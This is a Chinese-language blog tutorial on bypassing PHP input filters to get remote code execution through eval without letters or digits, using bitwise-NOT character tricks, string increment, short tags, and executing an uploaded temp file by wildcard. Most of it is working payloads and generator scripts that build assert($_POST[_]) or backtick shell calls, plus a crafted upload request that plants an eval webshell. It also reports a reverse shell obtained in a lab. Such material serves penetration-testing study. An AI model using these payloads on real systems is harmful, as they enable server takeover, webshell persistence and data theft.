仪白仔他斥瓜乎丛令用甩印乐句匆册犯外处冬鸟务包饥主市立闪兰半汁汇头汉宁穴它讨写让礼训必议讯记永司尼民出辽奶奴加召皮边发孕圣对台矛纠母幼丝式刑动扛寺吉扣考托老执巩圾
扩扫地扬场耳共芒亚芝朽朴机权过臣再协西压厌在有百存而页匠夸夺灰达列死成夹轨邪划迈毕至此贞师尘尖劣光当早吐吓虫曲团同吊吃因吸吗屿帆岁回岂刚则肉网年朱先丢舌竹迁乔伟传
乒乓休伍伏优伐延件任伤价份华仰仿伙伪自血向似后行舟全会杀合兆企众爷伞创肌朵杂危旬旨负各名多争色壮冲冰庄庆亦刘齐交次衣产决充妄闭问闯羊并关米灯州汗污江池汤忙兴宇守宅
字安讲军许论农讽设访寻那迅尽导异孙阵阳收阶阴防奸如妇好她妈戏羽观欢买红纤级约纪驰巡寿弄麦形进戒吞远违运扶抚坛技坏扰拒找批扯址走抄坝贡攻赤折抓扮抢孝均抛投坟抗坑坊抖
护壳志扭块声把报却劫芽花芹芬苍芳严芦劳克苏杆杠杜材村杏极李杨求更束豆两丽医辰励否还歼来连步坚旱盯呈时吴助县里呆园旷围呀吨足邮男困吵串员听吩吹呜吧吼别岗帐财针钉告我
乱利秃秀私每兵估体何但伸作伯伶佣低你住位伴身皂佛近彻役返余希坐谷妥含邻岔肝肚肠龟免狂犹角删条卵岛迎饭饮系言冻状亩况床库疗应冷这序辛弃冶忘闲间闷判灶灿弟汪沙汽沃泛沟
没沈沉怀忧快完宋宏牢究穷灾良证启评补初社识诉诊词译君灵即层尿尾迟局改张忌际陆阿陈阻附妙妖妨努忍劲鸡驱纯纱纳纲驳纵纷纸纹纺驴纽奉玩环武青责现表规抹拢拔拣担坦押抽拐拖
拍者顶拆拥抵拘势抱垃拉拦拌幸招坡披拨择抬其取苦若茂苹苗英范直茄茎茅林枝杯柜析板松枪构杰述枕丧或画卧事刺枣雨卖矿码厕奔奇奋态欧垄妻轰顷转斩轮软到非叔肯齿些虎虏肾贤尚
旺具果味昆国昌畅明易昂典固忠咐呼鸣咏呢岸岩帖罗帜岭凯败贩购图钓制知垂牧物乖刮秆和季委佳侍供使例版侄侦侧凭侨佩货依的迫质欣征往爬彼径所舍金命斧爸采受乳贪念贫肤肺肢肿
胀朋股肥服胁周昏鱼兔狐忽狗备饰饱饲变京享店夜庙府底剂郊废净盲放刻育闸闹郑券卷单炒炊炕炎炉沫浅法泄河沾泪油泊沿泡注泻泳泥沸波泼泽治怖性怕怜怪学宝宗定宜审宙官空帘实试
郎诗肩房诚衬衫视话诞询该详建肃录隶居届刷屈弦承孟孤陕降限妹姑姐姓始驾参艰线练组细驶织终驻驼绍经贯奏春帮珍玻毒型挂封持项垮挎城挠政赴赵挡挺括拴拾挑指垫挣挤拼挖按挥挪
某甚革荐巷带草茧茶荒茫荡荣故胡南药标枯柄栋相查柏柳柱柿栏树要咸威歪研砖厘厚砌砍面耐耍牵残殃轻鸦皆背战点临览竖省削尝是盼眨哄显哑冒映星昨畏趴胃贵界虹虾蚁思蚂虽品咽骂
哗咱响哈咬咳哪炭峡罚贱贴骨钞钟钢钥钩卸缸拜看矩怎牲选适秒香种秋科重复竿段便俩贷顺修保促侮俭俗俘信皇泉鬼侵追俊盾待律很须叙剑逃食盆胆胜胞胖脉勉狭狮独狡狱狠贸怨急饶蚀
饺饼弯将奖哀亭亮度迹庭疮疯疫疤姿亲音帝施闻阀阁差养美姜叛送类迷前首逆总炼炸炮烂剃洁洪洒浇浊洞测洗活派洽染济洋洲浑浓津恒恢恰恼恨举觉宣室宫宪突穿窃客冠语扁袄祖神祝误
诱说诵垦退既屋昼费陡眉孩除险院娃姥姨姻娇怒架贺盈勇怠柔垒绑绒结绕骄绘给络骆绝绞统耕耗艳泰珠班素蚕顽盏匪捞栽捕振载赶起盐捎捏埋捉捆捐损都哲逝捡换挽热恐壶挨耻耽恭莲莫
荷获晋恶真框桂档桐株桥桃格校核样根索哥速逗栗配翅辱唇夏础破原套逐烈殊顾轿较顿毙致柴桌虑监紧党晒眠晓鸭晃晌晕蚊哨哭恩唤啊唉罢峰圆贼贿钱钳钻铁铃铅缺氧特牺造乘敌秤租积
秧秩称秘透笔笑笋债借值倚倾倒倘俱倡候俯倍倦健臭射躬息徒徐舰舱般航途拿爹爱颂翁脆脂胸胳脏胶脑狸狼逢留皱饿恋桨浆衰高席准座脊症病疾疼疲效离唐资凉站剖竞部旁旅畜阅羞瓶拳
粉料益兼烤烘烦烧烛烟递涛浙涝酒涉消浩海涂浴浮流润浪浸涨烫涌悟悄悔悦害宽家宵宴宾窄容宰案请朗诸读扇袜袖袍被祥课谁调冤谅谈谊剥恳展剧屑弱陵陶陷陪娱娘通能难预桑绢绣验继
球理捧堵描域掩捷排掉堆推掀授教掏掠培接控探据掘职基著勒黄萌萝菌菜萄菊萍菠营械梦梢梅检梳梯桶救副票戚爽聋袭盛雪辅辆虚雀堂常匙晨睁眯眼悬野啦晚啄距跃略蛇累唱患唯崖崭崇
圈铜铲银甜梨犁移笨笼笛符第敏做袋悠偿偶偷您售停偏假得衔盘船斜盒鸽悉欲彩领脚脖脸脱象够猜猪猎猫猛馅馆凑减毫麻痒痕廊康庸鹿盗章竟商族旋望率着盖粘粗粒断剪兽清添淋淹渠渐
混渔淘液淡深婆梁渗情惜惭悼惧惕惊惨惯寇寄宿窑密谋谎祸谜逮敢屠弹随蛋隆隐婚婶颈绩绪续骑绳维绵绸绿琴斑替款堪搭塔越趁趋超提堤博揭喜插揪搜煮援裁搁搂搅握揉斯期欺联散惹葬
葛董葡敬葱落朝辜葵棒棋植森椅椒棵棍棉棚棕惠惑逼厨厦硬确雁殖裂雄暂雅辈悲紫辉敞赏掌晴暑最量喷晶喇遇喊景践跌跑遗蛙蛛蜓喝喂喘喉幅帽赌赔黑铸铺链销锁锄锅锈锋锐短智毯鹅剩
稍程稀税筐等筑策筛筒答筋筝傲傅牌堡集焦傍储奥街惩御循艇舒番释禽腊脾腔鲁猾猴然馋装蛮就痛童阔善羡普粪尊道曾焰港湖渣湿温渴滑湾渡游滋溉愤慌惰愧愉慨割寒富窜窝窗遍裕裤裙
谢谣谦属屡强粥疏隔隙絮嫂登缎缓编骗缘瑞魂肆摄摸填搏塌鼓摆携搬摇搞塘摊蒜勤鹊蓝墓幕蓬蓄蒙蒸献禁楚想槐榆楼概赖酬感碍碑碎碰碗碌雷零雾雹输督龄鉴睛睡睬鄙愚暖盟歇暗照跨跳
跪路跟遣蛾蜂嗓置罪罩错锡锣锤锦键锯矮辞稠愁筹签简毁舅鼠催傻像躲微愈遥腰腥腹腾腿触解酱痰廉新韵意粮数煎塑慈煤煌满漠源滤滥滔溪溜滚滨粱滩慎誉塞谨福群殿辟障嫌嫁叠缝缠静
碧璃墙撇嘉摧截誓境摘摔聚蔽慕暮蔑模榴榜榨歌遭酷酿酸磁愿需弊裳颗嗽蜻蜡蝇蜘赚锹锻舞稳算箩管僚鼻魄貌膜膊膀鲜疑馒裹敲豪膏遮腐瘦辣竭端旗精歉熄熔漆漂漫滴演漏慢寨赛察蜜谱
嫩翠熊凳骡缩慧撕撒趣趟撑播撞撤增聪鞋蕉蔬横槽樱橡飘醋醉震霉瞒题暴瞎影踢踏踩踪蝶蝴嘱墨镇靠稻黎稿稼箱箭篇僵躺僻德艘膝膛熟摩颜毅糊遵潜潮懂额慰劈操燕薯薪薄颠橘整融醒餐
嘴蹄器赠默镜赞篮邀衡膨雕磨凝辨辩糖糕燃澡激懒壁避缴戴擦鞠藏霜霞瞧蹈螺穗繁辫赢糟糠燥臂翼骤鞭覆蹦镰翻鹰警攀蹲颤瓣爆疆壤耀躁嚼嚷籍魔灌蠢霸露囊罐匕***丐歹戈夭仑讥冗邓艾
夯凸卢叭叽皿凹囚矢乍尔冯玄邦迂邢芋芍吏夷吁吕吆屹廷迄臼仲伦伊肋旭匈凫妆亥汛讳讶讹讼诀弛阱驮驯纫玖玛韧抠扼汞扳抡坎坞抑拟抒芙芜苇芥芯芭杖杉巫杈甫匣轩卤肖吱吠呕呐吟呛
吻吭邑囤吮岖牡佑佃伺囱肛肘甸狈鸠彤灸刨庇吝庐闰兑灼沐沛汰沥沦汹沧沪忱诅诈罕屁坠妓姊妒纬玫卦坷坯拓坪坤拄拧拂拙拇拗茉昔苛苫苟苞茁苔枉枢枚枫杭郁矾奈奄殴歧卓昙哎咕呵咙
呻啰咒咆咖帕账贬贮氛秉岳侠侥侣侈卑刽刹肴觅忿瓮肮肪狞庞疟疙疚卒氓炬沽沮泣泞泌沼怔怯宠宛衩祈诡帚屉弧弥陋陌函姆虱叁绅驹绊绎契贰玷玲珊拭拷拱挟垢垛拯荆茸茬荚茵茴荞荠荤
荧荔栈柑栅柠枷勃柬砂泵砚鸥轴韭虐昧盹咧昵昭盅勋哆咪哟幽钙钝钠钦钧钮毡氢秕俏俄俐侯徊衍胚胧胎狰饵峦奕咨飒闺闽籽娄烁炫洼柒涎洛恃恍恬恤宦诫诬祠诲屏屎逊陨姚娜蚤骇耘耙秦
匿埂捂捍袁捌挫挚捣捅埃耿聂荸莽莱莉莹莺梆栖桦栓桅桩贾酌砸砰砾殉逞哮唠哺剔蚌蚜畔蚣蚪蚓哩圃鸯唁哼唆峭唧峻赂赃钾铆氨秫笆俺赁倔殷耸舀豺豹颁胯胰脐脓逛卿鸵鸳馁凌凄衷郭斋
疹紊瓷羔烙浦涡涣涤涧涕涩悍悯窍诺诽袒谆祟恕娩骏琐麸琉琅措捺捶赦埠捻掐掂掖掷掸掺勘聊娶菱菲萎菩萤乾萧萨菇彬梗梧梭曹酝酗厢硅硕奢盔匾颅彪眶晤曼晦冕啡畦趾啃蛆蚯蛉蛀唬唾
啤啥啸崎逻崔崩婴赊铐铛铝铡铣铭矫秸秽笙笤偎傀躯兜衅徘徙舶舷舵敛翎脯逸凰猖祭烹庶庵痊阎阐眷焊焕鸿涯淑淌淮淆渊淫淳淤淀涮涵惦悴惋寂窒谍谐裆袱祷谒谓谚尉堕隅婉颇绰绷综绽
缀巢琳琢琼揍堰揩揽揖彭揣搀搓壹搔葫募蒋蒂韩棱椰焚椎棺榔椭粟棘酣酥硝硫颊雳翘凿棠晰鼎喳遏晾畴跋跛蛔蜒蛤鹃喻啼喧嵌赋赎赐锉锌甥掰氮氯黍筏牍粤逾腌腋腕猩猬惫敦痘痢痪竣翔
奠遂焙滞湘渤渺溃溅湃愕惶寓窖窘雇谤犀隘媒媚婿缅缆缔缕骚瑟鹉瑰搪聘斟靴靶蓖蒿蒲蓉楔椿楷榄楞楣酪碘硼碉辐辑频睹睦瞄嗜嗦暇畸跷跺蜈蜗蜕蛹嗅嗡嗤署蜀幌锚锥锨锭锰稚颓筷魁衙
腻腮腺鹏肄猿颖煞雏馍馏禀痹廓痴靖誊漓溢溯溶滓溺寞窥窟寝褂裸谬媳嫉缚缤剿赘熬赫蔫摹蔓蔗蔼熙蔚兢榛榕酵碟碴碱碳辕辖雌墅嘁踊蝉嘀幔镀舔熏箍箕箫舆僧孵瘩瘟彰粹漱漩漾慷寡寥
谭褐褪隧嫡缨撵撩撮撬擒墩撰鞍蕊蕴樊樟橄敷豌醇磕磅碾憋嘶嘲嘹蝠蝎蝌蝗蝙嘿幢镊镐稽篓膘鲤鲫褒瘪瘤瘫凛澎潭潦澳潘澈澜澄憔懊憎翩褥谴鹤憨履嬉豫缭撼擂擅蕾薛薇擎翰噩橱橙瓢蟥
霍霎辙冀踱蹂蟆螃螟噪鹦黔穆篡篷篙篱儒膳鲸瘾瘸糙燎濒憾懈窿缰壕藐檬檐檩檀礁磷了瞬瞳瞪曙蹋蟋蟀嚎赡镣魏簇儡徽爵朦臊鳄糜癌懦豁臀藕藤瞻嚣鳍癞瀑襟璧戳攒孽蘑藻鳖蹭蹬簸簿蟹
靡癣羹鬓攘蠕巍鳞糯譬霹躏髓蘸镶瓤矗";
function mb_str_split( $string ) {
    return preg_split('/(?<!^)(?!$)/u', $string );
}
foreach (mb_str_split($word) as $c)
{
    $arr[] = $c;
}

for ($x=0;$x<strlen($shell);$x++)
{
    for ($y=0;$y<count($arr);$y++)
    {
        $k = $arr[$y];
        if ($shell[$x] == ~($k{1}))
        {
            $result .= $k;
            $result1 .= "%".bin2hex($k{1});
            break;
        }
    }
}
echo "通过在URL内GET方法提交?cmd=\"具体命令\"";
echo "<br>";
echo "字符串:".$result;
echo "<br>";
echo "URL编码:".$result1;

image-20230925130640634

用字符串构造

<?php
$a="极";
echo bin2hex($a);
echo ~($a{1})
?>

image-20230925131100615

同理,我们可以构造其他字母:

<?php
$_++;//得到1,此时$_=1
$__="极";
$___=~($__{$_});//得到a,此时$___="a"
$__="区";
$___.=~($__{$_});//得到s,此时$___="as"
$___.=~($__{$_});//得到s,此时$___="ass"
$__="皮";
$___=~($__{$_});//得到e,此时$___="asse"
$__="十";
$___=~($__{$_});//得到r,此时$___="asser"
$__="勺";
$___=~($__{$_});//得到a,此时$___="assert"

$____='_';//此时,$____="_P"
$__="寸";
$____.=~($__{$_});//得到P,此时,$____="_P"
$__="小";
$____.=~($__{$_});//得到O,此时,$____="_PO"
$__="欠";
$____.=~($__{$_});//得到S,此时,$____="_POS"
$__="立";
$____.=~($__{$_});//得到T,此时,$____="_POST"
$_=$$____;//$_=$_POST
$__($_[_]);//assert($_POST[_])   (php5)
?>

使用URL编码:

<?php
$_=~("%9e%8c%8c%9a%8d%8b");//assert
$__=~("%a0%af%b0%ac%ab");//_POST
$___=$$__;//$_POST
$_($___[_]);//assert($_POST[_])
?>
?cmd=$_=~("%9e%8c%8c%9a%8d%8b");$__=~("%a0%af%b0%ac%ab");$___=$$__;$_($___[_]);

post提交_=phpinfo();

image-20230925133619289

image-20230925133625564

PHP7

`$_POST[_]` //``不能回显

_POST的URL编码为:%a0%af%b0%ac%ab

<?php
$_=~(%a0%af%b0%ac%ab);
$__=$$_;
`$__[_]`;
?>
?cmd=$_=~(%a0%af%b0%ac%ab);$__=$$_;`$__[_]`;

image-20230925134527455

image-20230925134656831

4.15无字母数字自增绕过

自增

<?php
$a='A';
echo ++$a;
?>

输出结果为B

<?php
$a='A';
++$a;++$a;++$a;++$a;
echo $a;
?>

输出结果为E

只要获取到A就可以自增获取B,C,D······

如何获取A呢?定义一个数组,echo会输出Array,在定义的数组后面拼接一个字符串,此时Array就可以当做字符串,使用下标就可以把A取出来。

<?php
$_=[].'';
echo $_[0];
?>

如何获取0呢,只需要填写一个不存在的变量即可

<?php
$_=[].'';
echo $_[$__];
?>

image-20230925164022539

PHP5

期望执行:

assert($_POST[_]);
<?php
$_=[].'';
$___=$_[$__];
$__=$___;//$__=A
$_=$__;//$_=A
++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
$__.=$_;//$__=AS
$__.=$_;//$__=ASS
$_=$___;//$_=A
++$_;++$_;++$_;++$_;
$__.=$_;//$__=ASSE
++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;++$_;
$__.=$_;//$__=ASSER
++$_;++$_;
$__.=$_;//$__=ASSERT
echo $__;
?>

image-20230925165648788

不光要assert还需要POST,这要写到啥时候,直接使用脚本:

<?php
highlight_file(__FILE__);
$cmd = strtoupper($_GET['cmd']);
$cmd2 = strtoupper($_GET['post']);
function POC($cmd){
    $i = 0;
    $POC_pat1 = "\$__=\$___;";
    $POC_pat2 = "\$_ .=\$__;";
    while ($i<strlen($cmd)){
        $str1 = $cmd[$i];
        $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
        if ($i<1) {
            $POC_pat3 = str_repeat("++\$__;",$POC1);
            echo $POC_pat3;
        }else{
            $str2 = $cmd[$i-1];
            if($str1==$str2){
                $POC_pat5 = $POC_pat2;
                echo $POC_pat5;
            }else{
                $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
                echo $POC_pat6;
            }
        }
        $i++;
    }
}

function POC2($cmd){
    $i = 0;
    echo '$____ = "_";$__=$___;';
    $POC_pat1 = "\$__=\$___;";
    $POC_pat2 = "\$____ .=\$__;";
    while ($i<strlen($cmd)){
        $str1 = $cmd[$i];
        $POC1 = base_convert(bin2hex($str1),16,10)-base_convert(bin2hex("A"),16,10);
        if ($i<1) {
            $POC_pat3 = str_repeat("++\$__;",$POC1).$POC_pat2;
            echo $POC_pat3;
        }else{
            $str2 = $cmd[$i-1];
            if($str1==$str2){
                $POC_pat5 = $POC_pat2;
                echo $POC_pat5;
            }else{
                $POC_pat6 = $POC_pat1.str_repeat("++\$__;",$POC1).$POC_pat2;
                echo $POC_pat6;
            }
        }
        $i++;
    }
}


if (!empty($cmd)){
    $POC_pat7 = "\$_=[].'';\$___=\$_[\$__];\$__=\$___;\$_=\$___;";
    echo $POC_pat7;
    POC($cmd);
}
if (!empty($cmd2)){
    POC2($cmd2);
}
?>
?cmd=assert&post=POST

生成结果如下:

$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;
//构造
$__=$$____;//$__=$_POST
$_($__[_]);//ASSERT($_POST[_])

image-20230925170259070

在靶场中测试一下(不要忘记编码):

?cmd=$_=[].'';$___=$_[$__];$__=$___;$_=$___;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;
$__=$$____;
$_($__[_]);

image-20230925170846184

成功执行

image-20230925170951009

php7

`$_POST[_]`

使用脚本获取POST:

cmd随便输入,不能没有

?cmd=daffa&post=POST
$_=[].'';$___=$_[$__];$__=$___;$_=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;$_ .=$__;$__=$___;++$__;++$__;++$__;++$__;$_ .=$__;$__=$___;$_ .=$__;$____ = "_";$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;$__=$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$____ .=$__;
$_=$$____;
//构造
`$_[_]`;

靶场测试:

监听端口

image-20230925172925522

image-20230925172956391

成功反弹shell

image-20230925173013683

4.16无字母数字特殊符号过滤

下划线过滤

例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/[a-z0-9;~^`&|]/is',$_GET['cmd'])) {
    eval($_GET['cmd']);
}

可以看到,把下划线过滤掉了

短标签

<?php
phpinfo();
?>

可以直接写成

<?=phpinfo();?>//可直接执行

GET方式提交

?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>        <==取反===   ?><?=`$_GET[_]`?> 

payload

?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>&%a0=ls

image-20230925182247586

在这里想了一下,反引号执行命令根本没有返回值,eval函数是代码执行,也无法直接执行命令呀,直接下面这样写的话,会把ls执行出的数据,当做代码执行。

image-20230925182507996

然后我在想是不是短标签可以输出东西,我们创建一个php文件测试一下:

<?=`ls`;?>

image-20230925195356990

果然是这样。那用我们平常的方法测试一下:

<?php
`ls`;
?>

image-20230925195525392

没有任何东西。这样就明白了。

?><?={${~"%a0%af%b0%ac%ab"}[-]}?>  <==取反===   ?><?=`$_POST[-]`?> 
?cmd=?><?=`{${~"%a0%af%b0%ac%ab"}["-"]}`?>

image-20230925193340046

image-20230925195746432

下划线和$符号过滤

PHP7

call_user_func — 把第一个参数作为回调函数调用

示例:

<?php
function barber($type)
{
    echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");
?>

以上示例输出为:

You wanted a mushroom haircut, no problem
You wanted a shave haircut, no problem

($a)()

(call_user_func)(system,whami,'');
?cmd=(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');

PHP5

文件读取

php中上传文件会把我们上传的文件暂时存在/tmp目录下,默认文件名是phpXXXXXX,文件名最后6个字符是随机的大小写字母。

. /???/????????? 通配符?,可以匹配到./tmp/phpXXXXXX,这样匹配能匹配到的东西太多,通常会报错。

. /???/????????[@-[]  [@-[]表示ASCII在@和[之间的字符,也就是大写字母,保障最后一位为大写字母。

第一步:先构造一个文件上传的post数据包;

第二步:PHP页面生成临时文件phpXXXXXX,存储在/tmp目录下;

第三步:执行指令. /???/????????[@-[],读取文件,执行其中指令。

第四步:再上传的文件中写入一句话木马或者反弹shell,写一句话木马的话,把木马生成位置指定绝对路径,直接执行。

打开burp构建数据包:

?cmd=?><?=`.+/???/????????[@-[]`;?>
POST /class11/3.php?cmd=?%3E%3C?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?%3E HTTP/1.1
Host: 192.168.200.129:18082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8;zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3.en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 187

----------123
Content-Disposition:form-data;name="file";filename="1.txt"

echo "<?php eval(\$_POST['shell']);" >/www/admin/localhost_82/wwwroot/class11/success.php
----------123--


image-20230925214024201

创建成功,可以使用蚁剑链接。也可以反弹shell,上传一句话木马需要知道绝对路径。

;~^`&|过滤

例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
if(!preg_match('/[a-z0-9;~^`&|]/is',$_GET['cmd'])) {
    eval($_GET['cmd']);
}

a-z0-9;^`&|都被过滤

~、^被过滤可以使用自增法构造

;被过滤,可以使用短标签法代替

image-20230925214715309

posted @ 2023-10-15 18:33  fan高  阅读(145)  评论(0编辑  收藏  举报